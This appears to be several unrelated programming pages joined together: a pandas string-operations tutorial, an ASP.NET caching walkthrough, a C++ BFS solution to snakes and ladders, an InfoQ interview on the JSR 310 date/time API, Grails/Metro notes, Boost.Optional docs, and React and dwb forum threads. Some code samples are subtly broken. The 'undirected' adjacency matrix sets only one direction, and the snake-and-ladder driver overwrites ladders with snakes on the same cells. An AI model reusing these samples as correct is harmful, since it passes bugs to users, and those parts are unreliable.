Filter rows by Multiple Conditions
We will select all rows which has name as Allan and Age > 20
df[(df.Age.isin([30,25])) & (df.name.str.contains('Allan'))]
Select row by index
We will see how we can select the rows by list of indexes. Let’s change the index to Age column first
df.set_index(df.Age,inplace=True)
Now we will select all the rows which has Age in the following list: 20,30 and 25 and then reset the index
df.loc[[20,30,25]].reset_index(drop=True)
Extract number from String
The name column in this dataframe contains numbers at the last and now we will see how to extract those numbers from the string using extract function. We will use regular expression to locate digit within these name values
df.name.str.extract(r'([\d]+)',expand=False)
We can see all the number at the last of name column is extracted using a simple regular expression
Remove Number from String
In the above section we have seen how to extract a pattern from the string and now we will see how to strip those numbers in the name
df['name']=df.name.str.replace('\d+', '')
The name column doesn’t have any numbers now
String Split and create new columns
The pahun column contains the characters separated by underscores(_). We will split these characters into multiple columns
df[['pahun_1','pahun_2','pahun_3']]=df['pahun'].str.split('_', expand=True,n=2)
The Pahun column is split into three different column i.e. pahun_1,pahun_2,pahun_3 and all the characters are split by underscore in their respective columns
String Slice
Lets create a new column (name_trunc) where we want only the first three character of all the names. so for Allan it would be All and for Mike it would be Mik and so on. The string indexing is quite common task and used for lot of String operations
df['name_trunc']=df.name.str.slice(start=0, stop=3, step=1)
OR
df['name_trunc']=df.name.str[:3]
The last column contains the truncated names
Search String with Patterns
We want to now look for all the Grades which contains A
import re df.Grade.str.findall('A', flags=re.IGNORECASE)
This will give all the values which have Grade A so the result will be a series with all the matching patterns in a list. for example: for the first row return value is [A]
Pandas Concat Columns
We have seen situations where we have to merge two or more columns and perform some operations on that column. so in this section we will see how to merge two column values with a separator
We will create a new column (Name_Zodiac) which will contain the concatenated value of Name and Zodiac Column with a underscore(_) as separator
df['name_zodiac'] = df.name.str.cat(df.Zodiac,sep='_')
The last column contains the concatenated value of name and column
Conclusion
So you have seen Pandas provides a set of vectorized string functions which make it easy and flexible to work with the textual data and is an essential part of any data munging task. These functions takes care of the NaN values also and will not throw error if any of the values are empty or null.There are many other useful functions which I have not included here but you can check their official documentation for it. | https://kanoki.org/2019/03/27/pandas-select-rows-by-condition-and-string-operations/ | CC-MAIN-2022-33 | refinedweb | 824 | 53.75 |
DotNetStories
In this post I will continue my series of posts on caching.
You can read my other post in Output caching here.You can read on how to cache a page depending on the user's browser language.
Output caching has its place as a caching mechanism. But right now I will focus on data caching.The advantages of data caching are well known but I will highlight the main points.
I will demonstrate data caching with a hands on example.Embrace yourselves for a very long post. item in your file, a class file and call it DataAccess.cs.Add a namespace in the same class file and name it Caching.> section. Ιn my case it like the one below. In your case you must set the Data Source property to your SQL server instance.<connectionStrings> <add name="NorthwindConnectionString" connectionString="Data Source=USER-PC\SQLEXPRESS;Initial Catalog=Northwind;Integrated Security=True" providerName="System.Data.SqlClient"/>
</connectionStrings>
6) My intention is to populate a datatable object witn some data from the Customers table from the Northwind database.I will create a static method inside the static class.
Inside my DataAccess.cs file I have this code so farnamespace Caching
{public static class DataAcess
{public static DataTable GetCustomers()
{string conn = ConfigurationManager.ConnectionStrings["NorthwindConnectionString"].ConnectionString; SqlDataAdapter adapt = new SqlDataAdapter("select top 10 * from customers order by country", conn);DataTable mydatatable = new DataTable();
adapt.Fill(mydatatable);return mydatatable;
}
}
}
This is very simple static method. It returns a Datatable object as intented.Inside this method I do the following,
I get the connection string from the configuration file
I create a new adapter object by passing in as parameters, the SQL statement and the connection string
I create a new DataTable object and fill it in with data by calling the Fill method of the adapter object.
7) Make sure you have added the following using statements at the beginning of the file.
usingSystem.Data;
usingSystem.Data.SqlClient;
usingSystem.Configuration;
8) Add a Gridview and an ObjectDatasource control on the form.Leave the default names. Set the DataSourceID of the GridView to ObjectDataSource1.Configure the ObjectDatasource control to select as the Select method the GetCustomers() method of the DataAccess class.The markup for this specifi control should look like this. <asp:ObjectDataSource </asp:ObjectDataSource>
9) Run your application and you will see the returning rows displayed to the database.So far we have done nothing regarding caching. We just laid down the foundation.
10) We will make some changes in our GetCustomers() method to incorporate caching.namespace Caching
{public static class DataAcess
{public static DataTable GetCustomers()
{DataTable mydatatable = null;if (HttpContext.Current.Cache["customers"] == null)
{string conn = ConfigurationManager.ConnectionStrings["NorthwindConnectionString"].
ConnectionString;SqlDataAdapter adapt = new SqlDataAdapter("select top 10 * from customers order by country", conn);mydatatable = new DataTable();
adapt.Fill(mydatatable);HttpContext.Current.Cache["customers"] = mydatatable;
}elsemydatatable = HttpContext.Current.Cache["customers"] as DataTable;return mydatatable;
}
}
}
I make a simple check, if the data is already in the cache I take it from there. If not, I get it from the datasource.Run your application and you will see the results in the grid. Refresh the page and the records will be served from the cache.
11) Every time we add something into the cache we can specify several attributes regarding the chach entry. We can specify attributes like Expires-we specify when the cache will be flushed. We also can congifure the Priority,Dependency (The dependency, this cache entry has on a file or another cache entry) of the cache entry.
12) We can rewrite the code above to use the attributes.
Replace this line of code, in the GetCustomers() method.
HttpContext.Current.Cache["customers"] = mydatatable;
with this line of code
HttpContext.Current.Cache.Insert("customers", mydatatable, null, DateTime.Now.AddHours(6), Cache.NoSlidingExpiration);
I use the Insert method of the Cache object.
If you want to find out more about/understand better what I do here have a look here.
The parameters I pass are a key to reference the object,then the object to be added to the cache,then I specify I have no dependencies,the expiration date is 6 hours from now and finally I specify that the object in the cache will not be removed regarding the time it was last accessed.
Run your application and you will see the results in the grid. Refresh the page and the records will be served from the cache.
13) Now let's see how to remove objects from the cache. We can call the Remove method.We can have implicitly removed data from the cache for reasons like data expiration and memory consumption.
Let's add another method in our DataAccess class file.public static void RemoveFromCache()
{HttpContext.Current.Cache.Remove("customers");
}Add a button to the web form. Inside the Button1_Click even thandling routine type,
protected void Button1_Click(object sender, EventArgs e)
{
DataAcess.RemoveFromCache();
}
Do not forget to add the namespace in the beginning of the file, in my case is
using Caching;
Run your application. The data will be inserted in the cache and the second request will be served from the cache. Now click the button. The items will be removed from the cache.
14) Add a new item to your site, a web form. Leave the default name.Connect to your Northwind database. From the Server Explorer window( Database Explorer ) drag and drop the customers table on the form. A Gridview and a sqldatasource control will be added to the form. You can specify caching in the declarative datasources.
I enabled caching in the sqldatasource control by settting the EnabledCaching to true and CacheDuration to 7200 seconds.
Run your application and you will see the customers records being served from the database in the initial request. After that they are cached and cache serves the coming requests.
15) While designing our application, we must be very careful about caching. Sometimes the user must see the latest data, in some cases caching makes no sense at all.Sometimes an item can remain in the cache while a certain other condition is valid.We want to have the data cached for performance reasons but at the same time we want them to have the latest data(most recent updated data) when something changes in the underlying data store. So we must have some sort of depedency between the underlying data store and the cache. There is something that is called Cache Dependency that brings together cache and the origininal data source.
Add another item on your website, a web form.Leave the default name.Add a GridView control and an ObjectDataSource control on the form.Add another item in your website, an xml file. This is going to be an xml file about footballers.The contents of the xml file are,
<?xml version="1.0" ?>
<footballers>
<footballer Position="Attacking Midfielder">
<team>Liverpool</team>
<name>Steven Gerrard</name>
<manager>Kenny Dalglish</manager>
<price>40.000.000</price>
</footballer>
<footballer Position="Striker">
<team>Manchester United</team>
<name>Wayne Rooney</name>
<manager>Alex Ferguson</manager>
<price>60.000.000</price>
</footballer>
<footballer Position="Striker">
<team>Barcelona</team>
<name>Lionel Messi</name>
<manager>Pep Guardiola</manager>
<price>110.000.000</price>
</footballer>
<footballer Position="Central Defender">
<team>Chelsea</team>
<name>John Terry</name>
<manager>Carlos Anchelotti</manager>
<price>30.000.000</price>
</footballer>
<footballer Position="Striker">
<team>Manchester City</team>
<name>Carlos Tevez</name>
<manager>Roberto Manchini</manager>
<price>65.000.000</price>
</footballer>
<footballer Position="Stiker">
<team>Panathinaikos</team>
<name>Cibril Cisse</name>
<manager>Zesualdo Ferreira</manager>
<price>15.000.000</price>
</footballer>
</footballers>
16) We want to get the records displayed in the GridView control through the ObjectDataSource control and the intermediate data access layer.
We must write a static method in the data access layer class file to get the footballers data back from the xml file.We must write the code in a way that the data is cached until changes take place in the underlying xml file.public static DataTable GetFootballers()
{DataTable myxmltable = null;if (HttpContext.Current.Cache["footballers"] == null)
{string xmlfilename = HttpContext.Current.Server.MapPath("Footballers.xml");DataSet ds = new DataSet();
ds.ReadXml(xmlfilename);
myxmltable = ds.Tables[0];CacheDependency dependency = new CacheDependency(xmlfilename);HttpContext.Current.Cache.Insert("footballers", myxmltable, dependency);
}elsemyxmltable = HttpContext.Current.Cache["footballers"] as DataTable;return myxmltable;
}
The code is more or less similar with the one we wrote previously.We check if the data is in the cache and if not I read the file name, I create a dataset,fill it with data from the xml file and I return the datatable.THe most important bit of the method are these 2 lines.CacheDependency dependency = new CacheDependency(xmlfilename); HttpContext.Current.Cache.Insert("footballers", myxmltable, dependency);
I create a dependency object by passing as a parameter the xml filename. I insert then in the cache the key, the datatable and the dependency.
Set the ObjectDataSource SelectMethod attribute to the method GetFootballers and the TypeName to the Caching.DataAccess.The markup follows below<asp:ObjectDataSource</asp:ObjectDataSource>
Then set the DataSourceID property of the GridView control to the ObjectDataSource1 control.Run your application.You will see the xml data being displayed on the screen.
Refresh the browser window. XML data is being served from the cache.Leave the browser window open. Change something in the xml file and then refresh the page.The browser window will reflect the new changes. In that case the dependency rule comes into place. The data is cached is flushed from the cache and retrieved from the xml file as intended.
17) Add a new item on the form, a web form. Name it SQLDependencycache.aspx.We will demonstrate in this example how to use sql dependency cache with sql server databases.Add a GridView control and an ObjectDataSource control on the form.
We will need to add another static method in our data access layer.We will get data from the Categories table of the Northwind database.THe code looks like thispublic static DataTable GetCategories()
{DataTable thedatatable = null;if (HttpContext.Current.Cache["categories"] == null)
{string conn = ConfigurationManager.ConnectionStrings["NorthwindConnectionString"].
ConnectionString;using (SqlConnection connection = new SqlConnection(conn))
{
connection.Open();SqlCommand cmd = new SqlCommand("select CategoryName,Description from dbo.Categories", connection); SqlDataAdapter dapt = new SqlDataAdapter(cmd);SqlCacheDependency dependency = new SqlCacheDependency(cmd);thedatatable = new DataTable();
dapt.Fill(thedatatable);HttpContext.Current.Cache.Insert("categories", thedatatable, dependency, DateTime.Now.AddHours(6), Cache.NoSlidingExpiration);
}
}elsethedatatable = HttpContext.Current.Cache["categories"] as DataTable; return thedatatable;
}
The code is very easy to follow. The most important bit is the following lines. We create an SQL cache Dependency that is linked with the specific command object.Then when I insert the item in the cache I specify the dependency object.
SqlCacheDependency dependency = new SqlCacheDependency(cmd);
HttpContext.Current.Cache.Insert("categories", thedatatable, dependency, DateTime.Now.AddHours(6), Cache.NoSlidingExpiration);
Set the ObjectDataSource SelectMethod attribute to the methods GetCategories and the TypeName to the Caching.DataAccess.The markup follows below<asp:ObjectDataSource</asp:ObjectDataSource>
Then set the DataSourceID property of the GridView control to the ObjectDataSource1 control.
18) In order for this to work we must add another item in the website.Add a global application class file, Global.asax. In the Application_Start() event we should type,<%@ Import Namespace = "System.Data.SqlClient" %>
.......void Application_Start(object sender, EventArgs e)
{// Code that runs on application startup string conn = ConfigurationManager.ConnectionStrings["NorthwindConnectionString"].
ConnectionString;SqlDependency.Start(conn);
}
Run your application.You will see the data from the table being displayed on the screen.Refresh the browser window and you will see that the data is being served from the cache.Leave the window open.Make some changes in the Categories table and refresh the page. You will see the updated data being reflected on the screen causing the cache to flush due to the changes in the resultset and the sql cache dependency.
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Remember the childhood snake and ladder game which we used to play? Well, in this article we will be discussing the same game and its implementation in programming.
The problem statement that we will be solving is- Given a snake and ladder board, find the minimum number of dice throws required to reach the destination or last cell from source or 1st cell. This is done by considering that the player can determine which number appears in the dice being biased. The player rolls the dice and if reaches a base of a ladder then he can move up the ladder to a different position/cell and if he reaches a snake then it brings him down away from the destination cell/position. This problem can be solved using a Breadth-First Search (BFS). So, let us first see the prerequisites briefly.
Graph
The graph is a data structure which is used to implement or store paired objects and their relationships with each other. It consists of two main components:
- Vertex/Nodes: These are used to represent the objects. E.g. Let us consider a graph of cities where every node is a city. Let A and B be two such cities represented by two nodes A and B.
- Edges: These represent relationships between those objects. E.g. Let the roads connecting these cities be considered as the relationship that they hold with each other i.e. the edge. One more parameter can be considered which is called the weight. If the roads consist of values like the distance then we can say to reach from city A to B we require some D distance, where D becomes the weight of the edge between A and B.
Here we will be using unweighted directed graph and each cell will be considered as an intersection of nodes/cells of the board. Hence the problem becomes to find the minimum/shortest path to reach the destination cell from the source cell. For this, we will be using Breadth-First Search (BFS) as it gives the shortest path in an unweighted graph.
Breadth First Search (BFS)
Let us first discuss the BFS implementation using adjacency matrix representation. In this method we consider a matrix of vertices which contains the relationship information in the matrix i.e., if a vertex u is connected to vertex v, there will be an edge/relationship at matrix[u][v] and it might be bidirectional or unidirectional weighted or unweighted directed depending up the need of the problem.
Code Implementation:
struct Graph { int V; int E; int** Adj; }; struct Graph *adjMatrixOfGraph(){ int i,u,v; Graph *G = new Graph; // cout<<"Enter no. of Vertices "; cin>>G->V; //cout<<"Enter no. of Edges "; cin>>G->E; G->Adj = new int*[G->V]; for(int j = 0;j<G->V;j++) G->Adj[j] = new int[G->V]; for(int u = 0 ;u<G->V;u++) for(int v = 0;v<G->V;v++) G->Adj[u][v] = 0; for(int i = 0;i<G->E;i++) { //Undirected Graph //cout<<"Enter edge pair: _%d_%d_ "; //for directed graph adj(u,v) gives only the edge u->v cin>>u>>v; G->Adj[u][v] = 1; G->Adj[u][v] = 1; } return G; }
Space Complexity –
where V is the number of vertices.
Now, using this in Breadth First Search (BFS) we implement the following code:
struct Graph { int V; int E; int** Adj; }; struct Graph *createAdjMatrix(int V,int E) { struct Graph* G = new Graph; G->V = V; G->E = E; G->Adj = new int*[G->V]; for(int i = 0;i<G->V;i++) { G->Adj[i] = new int[G->V]; for(int j = 0;j<G->V;j++) G->Adj[i][j] = 0; } for(int i = 0;i<G->E;i++) { int u,v; cin>>u>>v; G->Adj[u][v] = 1; G->Adj[v][u] = 1; } return G; } void BFS(struct Graph* G,int u,bool* visited){ queue<int> q; q.push(u); visited[u] = true; while(!q.empty()){ int currentVertex = q.front(); q.pop(); cout<<currentVertex<<" "; for(int i = 0;i<G->V;i++) { if(i==currentVertex) continue; if(!visited[i] && G->Adj[currentVertex][i]) { q.push(i); visited[i] = true; } } } } void BFSutil(struct Graph* G) { bool* visited = new bool[G->V]; for(int i = 0;i<G->V;i++) visited[i] = false; for(int i = 0;i<G->V;i++) if(!visited[i]) BFS(G,i,visited); }
Now when we have done with the basic requirements let us see the approach of solving the problem. The idea is to traverse the graph nodes in BFS fashion and as the graph is unweighted/uniformly weighted we can use the Breadth First Search Algorithm easily to find the shortest path to the destination node from source node/cell.
We store the distance in the queue for particular nodes and keep on updating the node’s neighbour’s distance if the current distance is smaller than the previous distance and hence at the end of the whole BFS traversal we will have the shortest distance stored in the destination node.
Let us see the code implementation:
#include<bits/stdc++.h> using namespace std; struct node { int v; int dist; }; int minimumSolve(int graph[], int N) { bool *visited = new bool[N]; for (int i = 0; i < N; i++) visited[i] = false; // not visited //creating a queue queue<node> q; visited[0] = true; node n = {0, 0}; q.push(n); node cell; while (!q.empty()) { cell = q.front(); int v = cell.v; if (v == N-1) break; q.pop(); for (int j=v+1; j<=(v+6) && j<N; ++j) { if (!visited[j]) { node a; a.dist = (cell.dist + 1); visited[j] = true; if (graph[j] != -1) a.v = graph[j]; else a.v = j; q.push(a); } } } return cell.dist; } // Driver program to test methods of graph class int main() { // Let us construct the board given in above diagram int N = 50; int graph[N]; for (int i = 0; i<N; i++) graph[i] = -1; // Marking the Ladders graph[4] = 21; graph[6] = 7; graph[12] = 25; graph[25] = 28; // MArking the Snakes graph[30] = 0; graph[12] = 8; graph[6] = 3; graph[21] = 6; cout << minimumSolve(graph, N); return 0; } Space Complexity - O(V*V) where V is the number of vertices/nodes. Another implementation of the Snake & Ladder game as a function is also given below – vector<int> calculate(int row,int next_step) { //for flipping the dirctions in the board int x=(next_step-1)/row; int y=(next_step-1)%row; if(x%2==1)y=row-1-y; x=row-1-x; return {x,y}; } //vector board function int snakesAndLadders(vector<vector<int>>& board) { int r=board.size(); queue<int> q; q.push(1); int step=0; while(!q.empty()) { int n=q.size(); for(int i=0;i<n;i++) { int t=q.front(); q.pop(); if(t==r*r)return step; for(int i=1;i<=6;i++) { int next_step=t+i; if(next_step>r*r)break; auto v=calculate(r,next_step); int row=v[0],col=v[1]; if(board[row][col]!=-1) { next_step=board[row][col]; } if(board[row][col]!=r*r+1) { q.push(next_step); board[row][col]=r*r+1; } } } step++; } return -1; } Space Complexity - O(V*V) where V is the number of vertices/nodes.
Time and Space Complexity remains the same. This algorithm is very easy and fun to use as it can also be used to make a simple Snake and Ladder game for small projects. The whole code structure remains the same only the marking of the cells has to be visualised.
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InfoQ: Why do we need a new Date and Time API? What's wrong with the existing one?
Stephen: The main problem with the current APIs (
java.util.Date and
java.util.Calendar) is that they are mutable. In other words, consider:
public class Employee { private final Date startDate; public Employee(Date date) { startDate = date; } public Date getDate() { return startDate; } }
Even though
startDate is marked
final, the returned
java.util.Date instance is mutable, and so it's possible to externally mutate the employee's start date by calling
setYear(). There are a number of other minor issues, such as years being indexed from 1900 and months from 0, but the key problem is mutability. And that's something that can't be fixed in place.
InfoQ: What's the equivalent of
java.util.Date in JSR 310?
Stephen: There's actually two concepts of dates in JSR 310. The first is
Instant, which corresponds roughly to the Java
java.util.Date class, in that it represents a fixed point in time as an offset from the standard Java epoch (1st Jan 1970). Unlike the
java.util.Date class, this has nanosecond precision.
The second corresponds to human concepts, like
LocalDate and
LocalTime. These represent the general time-zone less concept of a day (without a time component) or time (without a day component), similar to
java.sql's representations. Another example is
MonthDay which could store someone's birthday without a year. Each of these classes sores the correct data internally, rather than the classic hack of
java.util.Date where midnight is used for for dates and 1970-01-01 is used for times.
InfoQ: You mentioned the thorny concept of time zones. What does this new API deliver in this regard?
Stephen: The first thing to separate is the difference between a time zone (like Europe/Paris or America/New_York) and the offset from UTC, like +01:00 and -08:00. An offset is simply the difference between UTC and local time, whereas the time zone is a named set of rules describing how the offset changes over time. For example, the time zone will describe that a specific region, such as New York, will have one offset at a given instant, and another offset a moment later (creating a gap or overlap on the local time-line, such as the Spring or Autumn Summer-time change).
There are three levels of class to support these concepts.
LocalDateTime allow times to be represented without an offset or time zone.
OffsetDateTime additionally specifies the offset while
ZonedDateTime adds the time zone rules. In the past, many applications have tended to use time zones when all they really needed was offsets (which are much simpler, faster and less error prone). An example of this is the XML Schema specification which only supports offsets and not time zones. With JSR 310 this difference can be expressed.
Lastly, timezones rules change over time. Just before the Millennium, some countries changed from behind to ahead of the International Date Line; and Summer times can vary over time. For example, the United States recently brought back the start of their Summer time, so now it's Summer time in the United States but not Summer time in Europe. Then, there's some which change almost every year, like Brazil. The JSR 310 API allows for time zones to be versioned, and subsequently replaced, with newer versions of time zone data. Although the replacement is left for specific implementations, it would be possible for an organisation to drop in new rules to an existing VM by simply prepending the classpath with the new data, rather than having to update the entire JVM installation.
InfoQ: What about ranges between a start and end time?
Stephen: It's possible to represent a range between any two
Instants using a
Duration. For most code that currently uses a start and end date, this is the closest comparison.
As noted earlier, there are some specific concepts to represent
YearMonth and
MonthDay, which should be used when appropriate. There's also a
Period which can be used to represent any period of time, like “two years, three months, seven days, four hours, fifty mintues”.
InfoQ: What about other calendars?
Stephen: The core calendar is the
ISOChronology calendar, which is the default and used to map time like the
GregorianCalendar does in the Java APIs at the moment. However, there is also support for a number of other chronologies, like
CopticChronology and
ThaiBuddhistChronology, with the ability to add others as required.
InfoQ: Some of these concepts have already been explored in JodaTime. What's the relationship between that and JSR 310?
Stephen: JodaTime has been used by a lot of developers already, but it's time that the base Java case is improved for everyone. The most obvious change is the package name (from
org.joda.time to
javax.time), but in practice there are a few subtle differences as well.
Firstly,
null was accepted by a number of the Joda Time APIs to refer to 0 time or duration. Although tempting, this can result in a number of subtle errors (where a value isn't returned properly). JSR 310 fixes this by throwing an exception for
null arguments.
Secondly, the distinction between computer-related times (
Instant) and human-related times (
DateTime) have been made more apparent. A parent interface
InstantProvider replaces the previous
ReadableInstant as a way of converting any time to an
Instant.
Thirdly, all exceptions thrown are now subtypes of
CalendricalExcpetion. Although a
RuntimeException, this is a parent class which can be caught by clients of the library calls.
InfoQ: Finally, what's the current status of JSR 310?
Stephen: The JSR 310 expert group operates an open mailing list, and the early draft review was published three weeks ago. The end of the review period is the 28th March 2010; so if you have any comments on the piece, please direct them to the dev@jsr-310.dev.java.net mailing list, or comment directly on the Expert Draft Review wiki.
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Just now??
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Duraid Duraid
hhahahaaaaaaaaaaaaaaaaaaaahhaaaa
(we're doing much better in .net)
API Refresh
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David Sims
> but it's time that the base Java case is improved for everyone.
We've used our fair share of the Java date and time APIs over the years. Although we, like most everyone, have been able to sort out the proper usages to manipulate times and dates as we would like, I'm looking forward to this API refresh.
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Re: Just now??
by
Hussachai Puripunpinyo
The good side of java is it's highly backward compatibility
and it's the dark side too.
VB6 can be run in .NET virtual machine?
Re: Just now??
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Jacek Furmankiewicz
Re: Just now??
by
Duraid Duraid
Anyways.. this has nothing to do with platform wars but simple API design. I surprised how they designed a date type and made it mutable. Dates, numbers, zip codes are immutable didn't they know that?
JSR 310
by
alireza haghighatkhah
Re: Just now??
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Rafiq Ahmed
And I have never used it..well...Java is open ..and there is excellent data-time api that Apache provide... that's the one of small benefit (many more !!!) of using Open source.
Push for some usage?
by
Adrian A.
i.e. you need early adopters to get a real feedback from skilled developers.
Re: Just now??
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adrian collheart
>hhahahaaaaaaaaaaaaaaaaaaaahhaaaa
Why are you laughing? We should all just be crying about this sad state of affairs.
>(we're doing much better in .net)
Yeah, lucky you. .NET has been a source for inspiration for Java, but this has been true the other way around too. I think both Java and .NET have fairly similar goals and take a similar approach to many things. Details differ of course.
Very few would argue that the current Date API in Java isn't an abomination, hence this new JSR ;)
Re: Just now??
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Werner Keil
F# has a consequent Units of Measure support, JSR-310 is lacking.
ICU4J, which aimed at fixing a couple of JDK problems earlier, has a more consistent model of measure, date, time and money.
Re: Just now??
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Werner Keil
mindprod.com/jgloss/calendar.html
Roedy Green developed some of these concepts as far back as 1996/7!.
He offered help to Sun/JavaSoft, but they turned his offer down. He and other experts quoted on his site should be in the EG, or at least heard by it.
Re: Push for some usage?
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Florian Brunner
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We've been trying to get full fledged web services working in Grails built in contract frist approach, it felt like it should be easy, as all the bits were there, but all of the plugins to date were more proof of concept vs Enterprise ready (e.g. no control over namespaces). After looking at many technologies, decided to give Metro a try.
So, the target was to get Metro running with the following key requirements:
- WSDL First
- Minimal change required to configure the web service
- Bound to Grails services so we can re-use business logic and interact with domain classes
Step 1: Grails App + Metro
Create a simple Grails application (working from the ground up is the best way to explain it, rather than trying to explain our existing application).
Download Metro Grails plugin: and install it in grails app.
I used grails-metro-1.0.zip. If you are building the web service bottom-up, you can follow the example on the page above and create web services without further steps.
Since the plugin doesn't have the utility to create java artifacts from the wsdl, download Metro [] and unzip it. Note that the bin folder has wsimport scripts which does the reverse engineering.
Step 2: Generate java source files
From the bin folder execute
For Example: wsimport -s src -d classes HelloWorld.wsdl
This generates all the java classes with the annotations required for the contract first web service. Move the java classes from the src folder to grails app src/java folder.
Step 3: Generate groovy service
Generate the groovy service
Step 4: Add annotations in service groovy file
Step 5: Run Grails application
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...one of the most highly
regarded and expertly designed C++ library projects in the
world. — Herb Sutter and Andrei
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Coding Standards
Let's write and use a converter function that converts a
std::string
to an
int. It is possible that
for a given string (e.g.
"cat")
there exists no value of type
int
capable of representing the conversion result. We do not consider such situation
an error. We expect that the converter can be used only to check if the conversion
is possible. A natural signature for this function can be:
#include <boost/optional.hpp> boost::optional<int> convert(const std::string& text);
All necessary functionality can be included with one header
<boost/optional.hpp>.
The above function signature means that the function can either return a
value of type
int or a flag
indicating that no value of
int
is available. This does not indicate an error. It is like one additional
value of
int. This is how we
can use our function:
const std::string& text = /*... */; boost::optional<int> oi = convert(text); // move-construct if (oi) // contextual conversion to bool int i = *oi; // operator*
In order to test if
optional
contains a value, we use the contextual conversion to type
bool. Because of this we can combine the initialization
of the optional object and the test into one instruction:
if (boost::optional<int> oi = convert(text)) int i = *oi;
We extract the contained value with
operator* (and with
operator-> where it makes sense). An attempt to
extract the contained value of an uninitialized optional object is an undefined
behaviour (UB). This implementation guards the call with
BOOST_ASSERT. Therefore you should be sure
that the contained value is there before extracting. For instance, the following
code is reasonably UB-safe:
int i = *convert("100");
This is because we know that string value
"100"
converts to a valid value of
int.
If you do not like this potential UB, you can use an alternative way of extracting
the contained value:
try { int j = convert(text).value(); } catch (const boost::bad_optional_access&) { // deal with it }
This version throws an exception upon an attempt to access a non-existent
contained value. If your way of dealing with the missing value is to use
some default, like
0, there exists
a yet another alternative:
int k = convert(text).value_or(0);
This uses the
atoi-like approach
to conversions: if
text does
not represent an integral number just return
0.
Finally, you can provide a callback to be called when trying to access the
contained value fails:
int fallback_to_default() { cerr << "could not convert; using -1 instead" << endl; return -1; } int l = convert(text).value_or_eval(fallback_to_default);
This will call the provided callback and return whatever the callback returns. The callback can have side effects: they will only be observed when the optional object does not contain a value.
Now, let's consider how function
convert
can be implemented.
boost::optional<int> convert(const std::string& text) { std::stringstream s(text); int i; if ((s >> i) && s.get() == std::char_traits<char>::eof()) return i; else return boost::none; }
Observe the two return statements.
return
i uses the converting constructor
that can create
optional<T>
from
T. Thus constructed
optional object is initialized and its value is a copy of
i.
The other return statement uses another converting constructor from a special
tag
boost::none. It is used to indicate that we want
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Ula Troc1,880 Points
The code does not work. Where did I make a mistake?
const gracze = [ { name: "Guil", score: 50, id: 1 }, { name: "Treasure", score: 85, id: 2 }, { name: "Ashley", score: 95, id: 3 }, { name: "James", score: 80, id: 4 } ] function Header(props) { return ( <header> <h1>{props.title}</h1> <span className="stats"> Players: {props.playersNumber}</span> </header> ); } const Player = (props1) => { return ( <div className="player"> <span className="player-name"> {props1.name} </span> <Counter counter1={props1.score}/> </div> ); } class Counter extends React.Component { render() { return ( <div className="counter"> <button className="counter-action decrement"> - </button> <span className="counter-score"> {this.counter1} </span> <button className="counter-action increment"> + </button> </div> ); } } const App = (alejazda) => { return ( <div className="scoreboard"> <Header title="My Scoreboard" playersNumber={alejazda.poczatkowigracze.length} /> {/* Players List */} {alejazda.poczatkowigracze.map ( gracz => <Player name={gracz.name} score={gracz.score} key={gracz.id.toString()} /> )} </div> ); } ReactDOM.render( <App poczatkowigracze={gracze}/>, document.getElementById('root') );
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Shawn Casagrande9,206 Points
Your problem is in your Counter class. It should be this.props.counter1 since the class is calling the props property where state is stored.
You can add console.log(this.props) just above the return in the render function to be able to see that info in the Chrome debugger console.
Ran WangFull Stack JavaScript Techdegree Graduate 25,621 Points
Interesting question, tried to find answer but I failed, in console, I noticed that the counter elements have their counter1={num} property, which should be ok if referenced by {this.counter1}, but the UI does not show the number.
I cant help you, but I have posted your question on slack. Will give you feedback if someone is able to find the answer.
Ula Troc1,880 Points
Ula Troc1,880 Points
I specifically used different names to understand what is being passed where. Unfortunately Guil is uising the same name for props, name, score etc and at a later stage it becomes troublesome where I am passing what.
In order to understand props and component composition I wanted to use the different names but I am stuck at this point. The code stopped working when I changed the stateless function to a class component - I think, I am not sure. :D
The code brakes at line <span className="counter-score"> {this.counter1} </span>. So my question is, how to I display now the Counter component in Player and use the this.props.counter1 when there is not props in the class component.
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Great browser, I think it will replace all other browsers I've used!
I have two minor issues:
1) on a new arch install, flash doesn't seem to work. Apparently I haven't installed some package - is there anything else except "flashplugin" to enable flash in webkit? I don't really use flash that much, but it's annoying when you stumble on a site that uses it and it doesn't work.
2) sometimes when I use a command like open(o) or quickmark(m) that requires a text entry, the textbox doesn't appear: for example, when I press o, I get "open: " in the status bar but no text box, and the next keystrokes I enter are interpreted as shortcut keys in normal mode. I can't determine if this is random or if I'm doing something to cause it, does anybody else have that problem?
I didn't quite read through the entire thread, so I'm sorry if this has been asked before.. I did run some searches, and nothing turned out.
The best solution to a problem is usually the easiest one.
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It sounds like you have the gtk3-version installed. flash won't work with the gtk3 version because the flashplugin is linked against gtk2. There is a bug in gtk3 that textentries sometimes don't get focus, there is already a bugreport on the gnome bugtracker:.
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Would it be hard to add something that saved the session more often than just on regular exit? I always hate to lose tabs, and occasionally dwb still crashes...
Also, is there a way to get the current URL from a shell script (via fifo)?
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Would it be hard to add something that saved the session more often than just on regular exit? I always hate to lose tabs, and occasionally dwb still crashes...
Isn't this controlled by the "sync-files" option?
@portix, I always get false positives (at least I think that's what they are) with requestpolicy on facebook
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next to the right positives
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This is no biggie, since those entries are easy to be ignored or to be blocked entirely. I'm just wondering if there's a weakness in requestpolicy's code.
Or should I report this in the bugtracker?
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The sync-files option only controls history and cookies but i think i should also
add the session.
@chneukirchen: You can put bash-scripts in ~/.config/dwb/userscripts and call
them from within dwb. When the script is called the environment variable DWB_URI
will be set to the url of the focused tab. There are several other environment
variables set, they are documented in the man page.
@army: would be nice if you could create a ticket, i don't know if i can fix
this in the next days and i usually forget about bugreports reported in this
thread.
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Ok, done.
Just a quick question about something else: If I don't use the adblock plugin, would it be possible to compile dwb without it? Or would you say that the gain is too little to bother (I doubt that this is good english
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sync-files is good to know, thanks.
I was trying to get the current URL from an external process..
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The only advantage that you'll get is a smaller binary. There was the possibility to compile dwb without adblocking but i removed it. If you really want to compile it without adblocking, here is a patch:
